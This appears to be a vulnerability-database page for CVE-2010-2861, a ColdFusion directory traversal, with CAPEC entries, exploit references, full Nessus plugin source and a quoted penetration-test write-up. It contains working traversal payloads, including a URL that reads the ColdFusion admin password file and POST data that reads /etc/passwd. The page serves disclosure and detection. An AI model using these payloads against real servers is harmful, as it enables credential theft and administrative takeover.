Vulnerabilities > CVE-2010-2861 - Path Traversal vulnerability in Adobe Coldfusion

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
adobe
CWE-22
critical
nessus
exploit available
metasploit

Summary

Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionAdobe ColdFusion - Directory Traversal. CVE-2010-2861. Remote exploits for multiple platform
    idEDB-ID:16985
    last seen2016-02-02
    modified2011-03-16
    published2011-03-16
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/16985/
    titleAdobe ColdFusion - Directory Traversal
  • descriptionAdobe ColdFusion Directory Traversal Vulnerability. CVE-2010-2861. Remote exploits for multiple platform
    idEDB-ID:14641
    last seen2016-02-01
    modified2010-08-14
    published2010-08-14
    reporterUnknown
    sourcehttps://www.exploit-db.com/download/14641/
    titleAdobe ColdFusion - Directory Traversal Vulnerability

Metasploit

descriptionThis module attempts to exploit the directory traversal in the 'locale' attribute. According to the advisory the following versions are vulnerable: ColdFusion MX6 6.1 base patches, ColdFusion MX7 7,0,0,91690 base patches, ColdFusion MX8 8,0,1,195765 base patches, ColdFusion MX8 8,0,1,195765 with Hotfix4. Adobe released patches for ColdFusion 8.0, 8.0.1, and 9 but ColdFusion 9 is reported to have directory traversal protections in place, subsequently this module does NOT work against ColdFusion 9. Adobe did not release patches for ColdFusion 6.1 or ColdFusion 7. It is not recommended to set FILE when doing scans across a group of servers where the OS may vary; otherwise, the file requested may not make sense for the OS
idMSF:AUXILIARY/SCANNER/HTTP/COLDFUSION_LOCALE_TRAVERSAL
last seen2020-01-16
modified2017-07-24
published2010-09-01
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
titleColdFusion Server Check

Nessus

NASL familyCGI abuses
NASL idCOLDFUSION_LOCALE_DIR_TRAVERSAL.NASL
descriptionThe version of Adobe ColdFusion running on the remote host is affected by a directory traversal vulnerability in the administrative web interface. Input to the
last seen2020-06-01
modified2020-06-02
plugin id48340
published2010-08-16
reporterThis script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/48340
titleAdobe ColdFusion 'locale' Parameter Directory Traversal
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(48340);
  script_version("1.24");
  script_cvs_date("Date: 2018/11/15 20:50:16");

  script_cve_id("CVE-2010-2861");
  script_bugtraq_id(42342);
  script_xref(name:"EDB-ID", value:"14641");
  script_xref(name:"EDB-ID", value:"16985");

  script_name(english:"Adobe ColdFusion 'locale' Parameter Directory Traversal");
  script_summary(english:"Attempts a dir traversal attack.");

  script_set_attribute(attribute:"synopsis", value:
"An application running on the remote web server is affected by a
directory traversal vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Adobe ColdFusion running on the remote host is
affected by a directory traversal vulnerability in the administrative
web interface. Input to the 'locale' parameter of multiple pages is
not properly sanitized.

A remote, unauthenticated attacker can exploit this by sending
specially crafted HTTP requests, allowing them to download arbitrary
files from the system.

An attacker could use this to download the ColdFusion password file
(which contains the admin password), thereby gaining access to the
administrative web interface. Authenticated administrative access can
result in arbitrary code execution.");
  # http://web.archive.org/web/20100815053453/http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?eab312a6");
  # https://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?552e9e62");
  script_set_attribute(attribute:"see_also", value:"https://www.adobe.com/support/security/bulletins/apsb10-18.html");
  # https://helpx.adobe.com/coldfusion/kb/coldfusion-security-hot-fix-bulletin.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bea698e8");
  script_set_attribute(attribute:"solution", value:"Apply the hotfix referenced in Adobe's advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/08/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/08/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/08/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:coldfusion");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "coldfusion_detect.nasl");
  script_require_ports("Services/www", 80, 8500);
  script_require_keys("installed_sw/ColdFusion");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = 'ColdFusion';
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os)
    files = make_list('/windows/win.ini','/winnt/win.ini');
  else
    files = make_list('/etc/passwd');
}
else files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini');

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/winnt/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";

url = '/administrator/enter.cfm';

foreach file (files)
{
  postdata = 'locale=%00../../../../../../../../../../..' + file + '%00';
  postdata += SCRIPT_NAME + '-' + unixtime();

  res = http_send_recv3(
    method : 'POST',
    item   : dir + url,
    port   : port,
    content_type : 'application/x-www-form-urlencoded',
    data         : postdata,
    exit_on_fail : TRUE
  );

  if (egrep(pattern:file_pats[file], string:res[2]))
  {
    output = strstr(res[2], '<title>') - '<title>';
    if (!empty_or_null(output))
    {
      extra = strstr(res[2], '</title>');
      output -= extra;
    }
    else output = res[2];

    security_report_v4(
      port        : port,
      severity    : SECURITY_WARNING,
      file        : file,
      request     : make_list(http_last_sent_request()),
      output      : chomp(output),
      attach_type : 'text/plain'
    );
    exit(0);
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

Packetstorm

Seebug

  • bulletinFamilyexploit
    descriptionAdobe ColdFusion <=8.0 http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en server替换成目标网站即可 **Update:2017-04-28** This blog was written by Scott White, Senior Principal Security Consultant, Web Application Team Lead – TrustedSec TL;DR: A publicly undisclosed pre-auth local file disclosure path in older Adobe ColdFusion products (8.0, 8.0.1, 9.0, 9.0.1 and earlier versions) exists at /CFIDE/debug/cf_debugFr.cfm?userPage=../../etc/hosts During a recent penetration test, a web site utilizing cfm pages was identified and when checking for the well-known administrative interface url of /CFIDE/administrator/ for access it was found to be restricted. Further investigation revealed that the ColdFusion Debugging Panel was accessible at /debug/cf_debugFr.cfm despite known /CFIDE/Administrator/ resources being restricted. A simple Google search revealed a “userPage” query string parameter that appeared to use a relative path to resources on sites that hosted them: ![](http://ogb2rw42s.bkt.clouddn.com/images/1.png) Publicly known paths and vulnerabilities (https://github.com/carnal0wnage/Metasploit-Code/blob/master/modules/auxiliary/scanner/coldfusion_scanner.rb) were not fruitful. Despite the path being known and disclosing paths when debugging is enabled, efforts were made using common web application testing techniques to identify other potential vulnerabilities or avenues for attack. In our target environment, an outdated ColdFusion 9 instance was running on Linux. Although this version was old and likely tested by many others in the past, a path traversal that could disclose the contents of local files on the system was discovered. /CFIDE/debug/cf_debugFr.cfm?userPage=../../etc/hosts A quick search online revealed no information about this vulnerability. Could this be a 0-day? ColdFusion 2016 was downloaded and tested but the issue appeared to have been patched. No other information was easily found without some deep digging; a report was submitted to Adobe’s bug bounty program (https://hackerone.com/adobe). When comparing HTML source of the vulnerable client page versus the ColdFusion 2016 test environment, the following differences were noted: ColdFusion 2016: ../../etc/passwd ColdFusion v9: %2E%2E%2F%2E%2E%2Fetc%2Fpasswd Clearly an update was made to the code somewhere to patch the vulnerability. Examination of the ColdFusion 2016 source code confirms encoding was being performed: ![](http://ogb2rw42s.bkt.clouddn.com/images/2a.png) Adobe responded to the bug bounty report and stated that the vulnerability was previously identified and covered under CVE-2010-2861 which was reviewed prior to submitting the issue. It appears that Adobe chose to patch the issue(s) without releasing full details. Adobe’s security bulletin is located at http://www.adobe.com/support/security/bulletins/apsb10-18.html and lists affected versions as being ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX. Information to address the bulletin can be found at https://helpx.adobe.com/coldfusion/kb/coldfusion-security-hot-fix-bulletin.html
    idSSV:71470
    last seen2017-11-19
    modified2014-07-01
    published2014-07-01
    reporterblack_mia
    sourcehttps://www.seebug.org/vuldb/ssvid-71470
    titleAdobe ColdFusion <=8.0 - Directory Traversal Vulnerability (CVE-2010-2861)
  • bulletinFamilyexploit
    descriptionNo description provided by source.
    idSSV:20145
    last seen2017-11-19
    modified2010-09-30
    published2010-09-30
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-20145
    titleAdobe ColdFusion Directory Traversal Vulnerability